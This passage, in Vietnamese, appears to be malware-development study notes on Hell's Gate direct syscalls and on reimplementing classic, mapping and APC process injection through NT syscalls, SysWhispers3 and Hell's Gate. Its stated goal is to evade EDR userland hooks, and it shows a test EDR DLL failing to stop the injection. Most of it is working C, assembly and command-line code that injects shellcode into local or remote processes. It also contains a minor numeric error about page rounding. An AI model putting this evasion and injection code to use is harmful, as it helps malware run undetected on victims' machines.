Kế đến, Hell’s Gate thực hiện truy xuất EAT (Export Address Table) của ntdll.dll sử dụng hàm GetImageExportDirectory để có được danh sách các hàm mà DLL này export:

// Get the EAT of NTDLL
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory = NULL;
if (!GetImageExportDirectory(pLdrDataEntry->DllBase, &pImageExportDirectory) || pImageExportDirectory == NULL)
	return 0x01;

Với mỗi syscall có trong syscall table, ta sẽ cần khởi tạo giá trị hash của nó cũng như là gọi hàm GetVxTableEntry để gán giá trị cho các thành phần của cấu trúc VX_TABLE_ENTRY hay cụ thể hơn là đi tìm SSN của syscall.

Phần đầu của GetVxTableEntry thực hiện lặp qua EAT nhằm tìm địa chỉ của syscall dựa trên hash Dbj25 của nó.

BOOL GetVxTableEntry(PVOID pModuleBase, PIMAGE_EXPORT_DIRECTORY pImageExportDirectory, PVX_TABLE_ENTRY pVxTableEntry) {
	PDWORD pdwAddressOfFunctions    = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfFunctions);
	PDWORD pdwAddressOfNames        = (PDWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNames);
	PWORD pwAddressOfNameOrdinales  = (PWORD)((PBYTE)pModuleBase + pImageExportDirectory->AddressOfNameOrdinals);
 
	for (WORD cx = 0; cx < pImageExportDirectory->NumberOfNames; cx++) {
		PCHAR pczFunctionName  = (PCHAR)((PBYTE)pModuleBase + pdwAddressOfNames[cx]);
		PVOID pFunctionAddress = (PBYTE)pModuleBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
 
		if (djb2(pczFunctionName) == pVxTableEntry->dwHash) {
			pVxTableEntry->pAddress = pFunctionAddress;
 
			// ...
		}
	}
 
	return TRUE;
}

Phần thứ hai của GetVxTableEntry tìm kiếm chuỗi byte 0x4c, 0x8b, 0xd1, 0xb8 tính từ địa chỉ pVxTableEntry->pAddress của syscall. Các byte này chính là opcode của chỉ thị mov r10, rcx và chỉ thị mov rcx, ssn trong syscall.

// Quick and dirty fix in case the function has been hooked
WORD cw = 0;
while (TRUE) {
	// check if syscall, in this case we are too far
	if (*((PBYTE)pFunctionAddress + cw) == 0x0f && *((PBYTE)pFunctionAddress + cw + 1) == 0x05)
		return FALSE;
 
	// check if ret, in this case we are also probably too far
	if (*((PBYTE)pFunctionAddress + cw) == 0xc3)
		return FALSE;
 
	// First opcodes should be :
	//    MOV R10, RCX
	//    MOV RCX, <syscall>
	if (*((PBYTE)pFunctionAddress + cw) == 0x4c
		&& *((PBYTE)pFunctionAddress + 1 + cw) == 0x8b
		&& *((PBYTE)pFunctionAddress + 2 + cw) == 0xd1
		&& *((PBYTE)pFunctionAddress + 3 + cw) == 0xb8
		&& *((PBYTE)pFunctionAddress + 6 + cw) == 0x00
		&& *((PBYTE)pFunctionAddress + 7 + cw) == 0x00) {
		BYTE high = *((PBYTE)pFunctionAddress + 5 + cw);
		BYTE low = *((PBYTE)pFunctionAddress + 4 + cw);
		pVxTableEntry->wSystemCall = (high << 8) | low;
		break;
	}
 
	cw++;
};

Trong trường hợp các byte đầu ở địa chỉ của syscall không phải là chuỗi 0x4c, 0x8b, 0xd1, 0xb8, ta biết rằng nó đã bị hook. Để giải quyết vấn đề này, Hell’s Gate tăng biến cw lên một giá trị để tiếp tục tìm kiếm vùng nhớ phía dưới đến khi nào gặp chỉ thị mov r10, rcxmov rcx, ssn.

Minh họa:

Boundary Check

Nếu chúng ta gặp chỉ thị syscall hoặc chỉ thị ret thì có nghĩa là chúng ta đã đi quá xa khỏi syscall mà ta cần lấy SSN. Hai câu điều kiện if ở đầu vòng lặp while ở trên sẽ giúp ngăn trường hợp này xảy ra.

Calculating & Saving The SSN

Do quy ước little-endian6, ta cần đảo ngược giá trị của SSN để có được giá trị đúng bằng công thức (high << 8) | low với high là byte ở offset 5 và low là byte ở offset 4 tính từ chỉ thị mov r10, rcx.

Calling The Syscall

Hell’s Gate cung cấp file hellsgate.asm có chứa hàm HellsGateHellDescent giúp gọi custom syscall với SSN đã tìm được.

data
	wSystemCall DWORD 000h              ; this is a global variable used to keep the SSN of a syscall
 
.code 
	HellsGate PROC
		mov wSystemCall, 000h		
		mov wSystemCall, ecx            ; updating the 'wSystemCall' variable with input argument (ecx register's value)
		ret
	HellsGate ENDP
 
	HellDescent PROC
		mov r10, rcx
		mov eax, wSystemCall            ; `wSystemCall` is the SSN of the syscall to call
		syscall
		ret
	HellDescent ENDP
end

Để gọi syscall, ta sẽ gọi hàm HellsGate và truyền vào SSN. Hàm này sẽ lưu SSN vào biến toàn cục wSystemCall để có thể sử dụng về sau. Sau đó, ta cần gọi hàm HellDescent với đối số là các đối số mà ta muốn truyền vào syscall.

Note

Ở trong quy ước gọi hàm (calling convention) của kiến trúc x64, thanh ghi rcx được sử dụng để chứa đối số đầu tiên. Thanh ghi ecx là một alias cho nửa thanh ghi rcx.

Xem thêm: x64 calling convention | Microsoft Learn

Important

Có thể thấy từ các hàm hợp ngữ trên, Hell’s Gate chỉ là một cách tiếp cận khác để tìm SSN chứ bản chất nó vẫn là kỹ thuật direct syscall - dùng chỉ thị syscall ở bên ngoài không gian địa chỉ của ntdll.dll.

Ví dụ thực thi các syscall sử dụng Hell’s Gate:

BOOL Payload(PVX_TABLE pVxTable) {
	NTSTATUS status = 0x00000000;
	char shellcode[] = "\x90\x90\x90\x90\xcc\xcc\xcc\xcc\xc3";
 
	// Allocate memory for the shellcode
	PVOID lpAddress = NULL;
	SIZE_T sDataSize = sizeof(shellcode);
	HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
	status = HellDescent((HANDLE)-1, &lpAddress, 0, &sDataSize, MEM_COMMIT, PAGE_READWRITE);
 
	// Write Memory
	VxMoveMemory(lpAddress, shellcode, sizeof(shellcode));
 
	// Change page permissions
	ULONG ulOldProtect = 0;
	HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
	status = HellDescent((HANDLE)-1, &lpAddress, &sDataSize, PAGE_EXECUTE_READ, &ulOldProtect);
 
	// Create thread
	HANDLE hHostThread = INVALID_HANDLE_VALUE;
	HellsGate(pVxTable->NtCreateThreadEx.wSystemCall);
	status = HellDescent(&hHostThread, 0x1FFFFF, NULL, (HANDLE)-1, (LPTHREAD_START_ROUTINE)lpAddress, NULL, FALSE, NULL, NULL, NULL, NULL);
 
	// Wait for 1 seconds
	LARGE_INTEGER Timeout;
	Timeout.QuadPart = -10000000;
	HellsGate(pVxTable->NtWaitForSingleObject.wSystemCall);
	status = HellDescent(hHostThread, FALSE, &Timeout);
 
	return TRUE;
}

Reimplementing Classic Injection

Chúng ta sẽ triển khai kỹ thuật Process Injection sử dụng các syscall thay vì Windows API. Cụ thể:

NtAllocateVirtualMemory

Là syscall của VirtualAlloc và VirtualAllocEx.

Nguyên mẫu của syscall này:

NTSTATUS NtAllocateVirtualMemory(
  IN HANDLE           ProcessHandle,    // Process handle in where to allocate memory
  IN OUT PVOID        *BaseAddress,     // The returned allocated memory's base address
  IN ULONG_PTR        ZeroBits,         // Always set to '0'
  IN OUT PSIZE_T      RegionSize,       // Size of memory to allocate
  IN ULONG            AllocationType,   // MEM_COMMIT | MEM_RESERVE
  IN ULONG            Protect           // Page protection 
);

Syscall NtAllocateVirtualMemory tương tự với VirtualAllocEx nhưng hai tham số RegionSizeBaseAddress cần phải được truyền tham chiếu.

Tham số ZeroBits là một tham số mới so với VirtualAllocEx và được dùng để chỉ định số lượng các high-order bit của base address trả về phải có giá trị 0. Tham số này luôn có giá trị là 0.

Tham số RegionSize vừa là IN vừa là OUT tùy thuộc vào số lượng byte đã được cấp phát bởi Windows. Giá trị khởi tạo của RegionSize sẽ được làm tròn thành bội số gần nhất của page size ở trên máy. Trong kiến trúc x86-64, page size có kích thước là 4KB (4096 bytes) nên bội số của page size có thể là 4096, 8192, etc.

Seealso

Ví dụ, nếu ta truyền vào RegionSize là 5000 thì nó sẽ được làm tròn thành bội số gần nhất của page size là 8096 bytes và đây cũng là giá trị trả về.

Như đã đề cập, các syscall sẽ trả về một giá trị NTSTATUS cho biết syscall đó có được thực thi thành công hay không. Trong trường hợp có lỗi xảy ra khi thực thi NtAllocateVirtualMemory, NTSTATUS có thể là các giá trị sau đây.

NtProtectVirtualMemory

Là syscall của VirtualProtect và VirtualProtectEx.

Nguyên mẫu của syscall này:

NTSTATUS NtProtectVirtualMemory(
  IN HANDLE               ProcessHandle,              // Process handle whose memory protection is to be changed
  IN OUT PVOID            *BaseAddress,               // Pointer to the base address to protect
  IN OUT PULONG           NumberOfBytesToProtect,     // Pointer to size of region to protect
  IN ULONG                NewAccessProtection,        // New memory protection to be set
  OUT PULONG              OldAccessProtection         // Pointer to a variable that receives the previous access protection
);

Tham số BaseAddressNumberOfBytesToProtect cần phải được truyền tham chiếu.

Ngoài ra, giá trị của tham số NumberOfBytesToProtect tương tự với RegionSize do nó được làm tròn thành bội số gần nhất của page size.

NtWriteVirtualMemory

Là syscall của WriteProcessMemory.

Nguyên mẫu của syscall này:

NTSTATUS NtWriteVirtualMemory(
  IN HANDLE               ProcessHandle,          // Process handle whose memory is to be written to          
  IN PVOID                BaseAddress,            // Base address in the specified process to which data is written
  IN PVOID                Buffer,                 // Data to be written
  IN ULONG                NumberOfBytesToWrite,   // Number of bytes to be written
  OUT PULONG              NumberOfBytesWritten    // Pointer to a variable that receives the number of bytes actually written 
);

Các tham số của syscall giống với phiên bản Windows API của nó.

NtCreateThreadEx

Là syscall của CreateThreadCreateRemoteThread và CreateRemoteThreadEx.

Nguyên mẫu của syscall này:

NTSTATUS NtCreateThreadEx(
    OUT PHANDLE                 ThreadHandle,         // Pointer to a HANDLE variable that recieves the created thread's handle
    IN 	ACCESS_MASK             DesiredAccess,        // Thread's access rights (set to THREAD_ALL_ACCESS - 0x1FFFFF)  
    IN 	POBJECT_ATTRIBUTES      ObjectAttributes,     // Pointer to OBJECT_ATTRIBUTES structure (set to NULL)
    IN 	HANDLE                  ProcessHandle,        // Handle to the process in which the thread is to be created.
    IN 	PVOID                   StartRoutine,         // Base address of the application-defined function to be executed
    IN 	PVOID                   Argument,             // Pointer to a variable to be passed to the thread function (set to NULL)
    IN 	ULONG                   CreateFlags,          // The flags that control the creation of the thread (set to NULL)
    IN 	SIZE_T                  ZeroBits,             // Set to NULL
    IN 	SIZE_T                  StackSize,            // Set to NULL
    IN 	SIZE_T                  MaximumStackSize,     // Set to NULL
    IN 	PPS_ATTRIBUTE_LIST      AttributeList         // Pointer to PS_ATTRIBUTE_LIST structure (set to NULL)
);

Các tham số của syscall này tương tự với phiên bản Windows API của nó.

Implement Process Injection Using GetProcAddress and GetModuleHandle

Warning

Khi sử dụng GetProcAddressGetModuleHandle, chúng ta sẽ không thể bypass được Userland Hooking ở trên các syscall.

Chúng ta định nghĩa cấu trúc sau để lưu con trỏ hàm của các syscall mà ta sẽ sử dụng:

typedef struct _Syscall {
 
	fnNtAllocateVirtualMemory pNtAllocateVirtualMemory;
	fnNtProtectVirtualMemory  pNtProtectVirtualMemory;
	fnNtWriteVirtualMemory    pNtWriteVirtualMemory;
	fnNtCreateThreadEx        pNtCreateThreadEx;
 
} Syscall, *PSyscall;

Các con trỏ hàm được định nghĩa dựa trên nguyên mẫu hàm của syscall chẳng hạn như sau:

typedef NTSTATUS(NTAPI* fnNtAllocateVirtualMemory)(
 
	HANDLE							ProcessHandle,
	PVOID* BaseAddress,
	ULONG_PTR						ZeroBits,
	PSIZE_T							RegionSize,
	ULONG							AllocationType,
	ULONG							Protect
);

Với NTAPI là một macro dùng để chỉ định calling convention cho hàm. Về bản chất, nó là alias của __stdcall:

#define NTAPI __stdcall

Calling convention __stdcall dùng để chỉ định rằng các đối số của hàm được truyền từ phải sang trái và hàm được gọi (callee) sẽ phải dọn dẹp stack sau khi thực thi xong. Có một calling convention khác là __cdecl mà quy định hàm gọi (caller) cần phải dọn dẹp stack thay vì callee.

Nếu chúng ta không sử dụng NTAPI thì compiler sẽ dùng calling convention mặc định là __cdecl và điều này có thể gây ra stack corruption hoặc crash nếu hàm cần phải được gọi với __stdcall, đặc biệt là các syscall.

Sử dụng GetModuleHandleGetProcAddress để lấy ra các địa chỉ của các syscall:

BOOL InitializeSyscallStruct (OUT PSyscall St) {
 
	HMODULE hNtdll = GetModuleHandle(L"NTDLL.DLL");
	if (!hNtdll) {
		printf("[!] GetModuleHandle Failed With Error : %d \n", GetLastError());
		return FALSE;
	}
 
	St->pNtAllocateVirtualMemory  = (fnNtAllocateVirtualMemory)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
	St->pNtProtectVirtualMemory   = (fnNtProtectVirtualMemory)GetProcAddress(hNtdll, "NtProtectVirtualMemory");
	St->pNtWriteVirtualMemory     = (fnNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
	St->pNtCreateThreadEx         = (fnNtCreateThreadEx)GetProcAddress(hNtdll, "NtCreateThreadEx");
 
        // check if GetProcAddress missed a syscall 
	if (St->pNtAllocateVirtualMemory == NULL || St->pNtProtectVirtualMemory == NULL || St->pNtWriteVirtualMemory == NULL || St->pNtCreateThreadEx == NULL)
		return FALSE;
	else
		return TRUE;
}

Như đã biết, NtAllocateVirtualMemory sẽ làm tròn giá trị của RegionSize thành bội số của page size. Do RegionSize là một tham số được truyền vào theo kiểu tham chiếu, giá trị của nó có thể bị thay đổi bởi NtAllocateVirtualMemory. Dẫn đến, nếu ta dùng giá trị này cho các syscall khác sau đó chẳng hạn như NtWriteVirtualMemory thì có thể xảy ra trường hợp ghi nhiều byte hơn lượng mong muốn.

Vấn đề này được minh họa bằng đoạn code sau:

// sPayloadSize is the payload's size (272 bytes)
// Allocating memory 
if ((STATUS = St.pNtAllocateVirtualMemory(hProcess, &pAddress, 0, &sPayloadSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
	return FALSE;
}
 
// sPayloadSize's value is now 4096
// Writing the payload with sPayloadSize (NumberOfBytesToWrite) as 4096 instead of the original size
if ((STATUS = St.pNtWriteVirtualMemory(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0) {
	return FALSE;
} 

Implement Process Injection Using SysWhispers

Chúng ta sẽ sử dụng SysWhispers3 để tạo ra các custom indirect syscall nhằm bypass Userland Hooking:

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx -o SysWhispers -v

Câu lệnh trên sẽ tạo ra 3 file: SysWhispers.hSysWhispers.c và SysWhispers-asm.x64.asm. Sau khi import các file trên vào Visual Studio theo hướng dẫn của SysWhispers3 thì ta chỉ việc gọi sử dụng chúng.

Implement Process Injection Using Hell’s Gate

Chúng ta cũng thực hiện các bước thiết lập với Visual Studio tương tự với Implement Process Injection Using SysWhispers mà cụ thể là bật MASM (Microsoft Macro Assembler) và sử dụng MASM để biên dịch các file hợp ngữ.

Updating the VX_TABLE Structure

Trước tiên, ta sẽ cập nhật syscalls table:

typedef struct _VX_TABLE {
	VX_TABLE_ENTRY NtAllocateVirtualMemory;
	VX_TABLE_ENTRY NtWriteVirtualMemory;
	VX_TABLE_ENTRY NtProtectVirtualMemory;
	VX_TABLE_ENTRY NtCreateThreadEx;
} VX_TABLE, * PVX_TABLE;

Updating Seed Value

Sau đó, đổi seed value dùng cho việc tính hash:

DWORD64 djb2(PBYTE str) {
	DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
	INT c;
 
	while (c = *str++)
		dwHash = ((dwHash << 0x5) + dwHash) + c;
 
	return dwHash;
}

Viết một chương trình khác để tính các giá trị hash (cũng có thể triển khai Compile Time API Hashing):

printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtAllocateVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtWriteVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtProtectVirtualMemory"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));

Sau khi có được các giá trị hash thì định nghĩa các macro sau:

#define NtAllocateVirtualMemory_djb2  0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2     0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2   0xA0DCC2851566E832
#define NtCreateThreadEx_djb2         0x2786FB7E75145F1A

Updating the Main Function and the Payload Function

Khởi tạo syscalls table như sau:

VX_TABLE Table = { 0 };
Table.NtAllocateVirtualMemory.dwHash = NtAllocateVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtAllocateVirtualMemory))
	return 0x1;
 
Table.NtWriteVirtualMemory.dwHash = NtWriteVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtWriteVirtualMemory))
	return 0x1;
 
Table.NtProtectVirtualMemory.dwHash = NtProtectVirtualMemory_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtProtectVirtualMemory))
	return 0x1;
 
Table.NtCreateThreadEx.dwHash = NtCreateThreadEx_djb2;
if (!GetVxTableEntry(pLdrDataEntry->DllBase, pImageExportDirectory, &Table.NtCreateThreadEx))
	return 0x1;

Cuối cùng, thay thế hàm Payload bằng một hàm dùng để thực hiện process injection chẳng hạn như ClassicInjectionViaSyscalls. Bên trong hàm này, ta sẽ gọi sử dụng các syscall thông qua cặp hàm HellsGateHellDescent. Ví dụ, gọi sử dụng NtAllocateVirtualMemory như sau:

// Allocating memory 
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
	printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
	return FALSE;
}

Local Vs Remote Injection

Do có thể dùng các syscall ở trên cho cả local injection và remote injection nên ta có đoạn code sử dụng kỹ thuật conditional compilation7 như sau:

// If local injection 
#ifdef LOCAL_INJECTION
	if (!ClassicInjectionViaSyscalls(&Table, (HANDLE)-1, Payload, sizeof(Payload)))
		return 0x1;
#endif // LOCAL_INJECTION
 
// If remote injection
#ifdef REMOTE_INJECTION
	// Open a handle to the target process
	printf("[i] Targeting process of id : %d \n", PROCESS_ID);
	HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PROCESS_ID);
	if (hProcess == NULL) {
		printf("[!] OpenProcess Failed With Error : %d \n", GetLastError());
		return -1;
	}
 
	if (!ClassicInjectionViaSyscalls(&Table, hProcess, Payload, sizeof(Payload)))
		return 0x1;
 
#endif // REMOTE_INJECTION

Với PROCESS_ID được định nghĩa như sau:

#define LOCAL_INJECTION
 
#ifndef LOCAL_INJECTION
#define REMOTE_INJECTION
// Set the target process PID
#define PROCESS_ID	18784	
#endif // !LOCAL_INJECTION

Reimplementing Mapping Injection

Chúng ta sẽ triển khai kỹ thuật Mapping Injection sử dụng các kỹ thuật tương tự như Reimplementing Classic Injection. Cụ thể:

NtCreateSection

Là syscall của hàm CreateFileMapping. Nó có nguyên mẫu như sau:

NTSTATUS NtCreateSection(
  OUT PHANDLE             SectionHandle,          // Pointer to a HANDLE variable that receives a handle to the section object
  IN ACCESS_MASK          DesiredAccess,          // The type of the access rights to section handle 
  IN POBJECT_ATTRIBUTES   ObjectAttributes,       // Pointer to an OBJECT_ATTRIBUTES structure (set to NULL) 
  IN PLARGE_INTEGER       MaximumSize,            // Maximum size of the section
  IN ULONG                SectionPageProtection,  // Protection to place on each page in the section
  IN ULONG                AllocationAttributes,   // Allocation attributes of the section (SEC_XXX flags) 
  IN HANDLE               FileHandle              // Optionally specifies a handle for an open file object (set to NULL)
);

Một số tham số mới so với phiên bản Windows API:

  • DesiredAccess được dùng để chỉ định access right của của tham số SectionHandle (là handle trỏ đến section object mà sẽ được trả về). Các tùy chọn của tham số này:

    Chúng ta có thể sử dụng tùy chọn SECTION_ALL_ACCESS hoặc tùy chọn SECTION_MAP_READ | SECTION_MAP_WRITE | SECTION_MAP_EXECUTE.

  • MaximumSize là con trỏ của cấu trúc LARGE_INTEGER, có định nghĩa như sau:

    typedef union _LARGE_INTEGER {
      struct {
        DWORD LowPart;
        LONG  HighPart;
      } DUMMYSTRUCTNAME;
      struct {
        DWORD LowPart;
        LONG  HighPart;
      } u;
      LONGLONG QuadPart;
    } LARGE_INTEGER; 

    Thành phần duy nhất mà ta cần khởi tạo là trường LowPart với giá trị là kích thước của shellcode.

  • AllocationAttributes chỉ định bitmask của các cờ SEC_XXX giúp xác định các thuộc tính cấp phát vùng nhớ của section. Danh sách các flag có thể được tìm thấy ở đây. Chúng ta sẽ sử dụng cờ SEC_COMMIT.

NtMapViewOfSection

Là syscall của hàm MapViewOfFile. Nó có nguyên mẫu như sau:

NTSTATUS NtMapViewOfSection(
  IN HANDLE               SectionHandle,            // HANDLE to Section Object created by 'NtCreateSection'
  IN HANDLE               ProcessHandle,            // Process handle of the process to map the view to
  IN OUT PVOID            *BaseAddress,             // Pointer to a PVOID variable that receives the base address of the view
  IN ULONG                ZeroBits,                 // set to NULL
  IN SIZE_T               CommitSize,               // set to NULL  
  IN OUT PLARGE_INTEGER   SectionOffset,            // set to NULL
  IN OUT PSIZE_T          ViewSize,                 // A pointer to a SIZE_T variable that contains the size of the memory to be allocated
  IN SECTION_INHERIT      InheritDisposition,       // How the view is to be shared with child processes
  IN ULONG                AllocationType,           // type of allocation to be performed (set to NULL)
  IN ULONG                Protect                   // Protection for the region of allocated memory
);

Thông tin chi tiết về các tham số có thể tham khảo từ kernel syscall ZwMapViewOfSection.

Một vài điểm cần lưu ý về các tham số:

  • ViewSize sẽ bị làm tròn đến bội số gần nhất của page size.
  • InheritDisposition được dẫn xuất từ enum SECTION_INHERIT. Nó có thể là 1 trong 2 giá trị sau:
    • ViewShare: ánh xạ view đến section cho các tiến trình con được tạo trong tương lai.
    • ViewUnmap: không ánh xạ view đến section cho các tiến trình con. Chúng ta sẽ sử dụng giá trị này.
  • Protect được sử dụng để chỉ định chế độ bảo vệ cho vùng nhớ. Danh sách các giá trị có thể tìm ở đây.

NtUnmapViewOfSection

Là syscall của hàm UnmapViewOfFile. Nó có nguyên mẫu như sau:

NTSTATUS NtUnmapViewOfSection(
  IN HANDLE               ProcessHandle,    // Process handle of the process that contains the view to unmap
  IN PVOID                BaseAddress       // Base address of the view to unmap
);

NtClose

Là syscall của hàm CloseHandle. Nó có nguyên mẫu như sau:

NTSTATUS NtClose(
  IN HANDLE               ObjectHandle    // Handle of the object to close
);

Syscall này sẽ được dùng để đóng section handle được tạo ra bởi syscall NtCreateSection.

Implement Mapping Injection Using GetProcAddress and GetModuleHandle

Ta sẽ thực hiện cả Local Mapping InjectionRemote Mapping Injection sử dụng các syscall trên với các bước tương tự như [[#implement-process-injection-using-getprocaddress-and-getmodulehandle|Implement Process Injection Using GetProcAddress and GetModuleHandle]].

Điểm quan trọng đầu tiên cần chú ý là để ánh xạ local view đến remote process, ta cũng sử dụng syscall NtMapViewOfSection như khi ánh xạ local view đến local process.

Cụ thể, để map view của một section ở local:

if ((STATUS = St.pNtMapViewOfSection(hSection, (HANDLE)-1, &pLocalAddress, NULL, NULL, NULL, &sViewSize, ViewUnmap, NULL, PAGE_READWRITE)) != 0) {
		printf("[!] NtMapViewOfSection [L] Failed With Error : 0x%0.8X \n", STATUS);
		return FALSE;
}

Với hSection là handle đến section được trả về từ syscall NtCreateSection.

Để map view của local section đến remote process:

if ((STATUS = St.pNtMapViewOfSection(hSection, hProcess, &pRemoteAddress, NULL, NULL, NULL, &sViewSize, ViewShare, NULL, PAGE_EXECUTE_READWRITE)) != 0) {
	printf("[!] NtMapViewOfSection [R] Failed With Error : 0x%0.8X \n", STATUS);
	return FALSE;
}

Ngoài ra, còn một điểm cần chú ý nữa là thời điểm gọi syscall NtUnmapViewOfSection. Để đảm bảo rằng shellcode đã được thực thi xong trước khi chúng ta unmap view của section, ta nên sử dụng syscall NtWaitForSingleObject cho thread dùng để chạy shellcode.

Implement Mapping Injection Using SysWhispers

Câu lệnh mà ta sử dụng sẽ là:

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtCreateSection,NtMapViewOfSection,NtUnmapViewOfSection,NtClose,NtCreateThreadEx -o SysWhispers -v*

Import các file được tạo ra vào Visual Studio và gọi sử dụng tương tự như Implement Process Injection Using SysWhispers.

Implement Mapping Injection Using Hell’s Gate

Thực hiện các bước tương tự như Implement Process Injection Using Hell’s Gate.

Reimplementing APC Injection

Chúng ta sẽ triển khai kỹ thuật APC Injection sử dụng NtAllocateVirtualMemoryNtProtectVirtualMemoryNtWriteVirtualMemoryNtQueueApcThread với NtQueueApcThread là syscall của QueueUserAPC.

NtQueueApcThread

Nguyên mẫu của syscall này:

NTSTATUS NtQueueApcThread(
  IN HANDLE               ThreadHandle,                 // A handle to the thread to run the specified APC
  IN PIO_APC_ROUTINE      ApcRoutine,                   // Pointer to the application-supplied APC function to be executed
  IN PVOID                ApcRoutineContext OPTIONAL,   // Pointer to a parameter (1) for the APC (set to NULL)
  IN PIO_STATUS_BLOCK     ApcStatusBlock OPTIONAL,      // Pointer to a parameter (2) for the APC (set to NULL)
  IN ULONG                ApcReserved OPTIONAL          // Pointer to a parameter (3) for the APC (set to NULL)
);

Ba tham số cuối cùng được sử dụng làm tham số của APC function (ApcRoutine).

Creating An Alertable Thread

Để thực hiện APC injection, ta cần tạo ra một thread ở trạng thái alertable8 bằng CreateThread và gọi hàm sau ở trong thread đó:

VOID AlterableFunction() {
 
  HANDLE	hEvent = CreateEvent(NULL, NULL, NULL, NULL);
	
  MsgWaitForMultipleObjectsEx(
		1,
		&hEvent,
		INFINITE,
		QS_HOTKEY,
		MWMO_ALERTABLE
	);
 
}

Implement APC Injection Using GetProcAddress and GetModuleHandle

Ta cũng triển khai các bước để thực hiện APC Injection sử dụng các syscall tương tự như [[#implement-process-injection-using-getprocaddress-and-getmodulehandle|Implement Process Injection Using GetProcAddress and GetModuleHandle]] và [[#implement-mapping-injection-using-getprocaddress-and-getmodulehandle|Implement Mapping Injection Using GetProcAddress and GetModuleHandle]].

Implement APC Injection Using SysWhispers

Câu lệnh mà ta sẽ sử dụng:

python syswhispers.py -a x64 -c msvc -m jumper_randomized -f NtAllocateVirtualMemory,NtProtectVirtualMemory,NtWriteVirtualMemory,NtQueueApcThread -o SysWhispers -v

Implement APC Injection Using Hell’s Gate

Ta cũng triển khai các bước để thực hiện APC Injection sử dụng các syscall tương tự như Implement Process Injection Using Hell’s GateImplement Mapping Injection Using Hell’s Gate.

Khi thử inject MalDevEdr.dll của phần Userland Hooking vào tiến trình thực hiện kỹ thuật APC Injection nhưng sử dụng các syscall của Hell’s Gate, ta thấy rằng tiến trình vẫn có thể thực thi thành công mà không bị ngắt bởi DLL của EDR:

Ngược lại, nếu không dùng syscall thì tiến trình sẽ bị ngắt:

Remote Injection

Chúng ta vẫn có thể thực hiện Remote APC Injection bằng các syscall nhưng cần phải tạo một tiến trình ở trạng thái trì hoãn (suspended process)9.

Resources

Footnotes

  1. Xem thêm Minhook Library.

  2. Xem thêm PEB In 64-bit Systems để hiểu rõ hơn về cách lấy PEB từ thanh ghi GS.

  3. Xem thêm Enumerating DLLs để hiểu rõ hơn về cách enum DLL thông qua PEB.

  4. Xem thêm DLL Base Address

  5. Xem thêm String Hashing

  6. Xem thêm Endian

  7. Xem thêm Payload Staging

  8. Xem thêm Placing a Thread In An Alertable State

  9. Xem thêm Early Bird APC Injection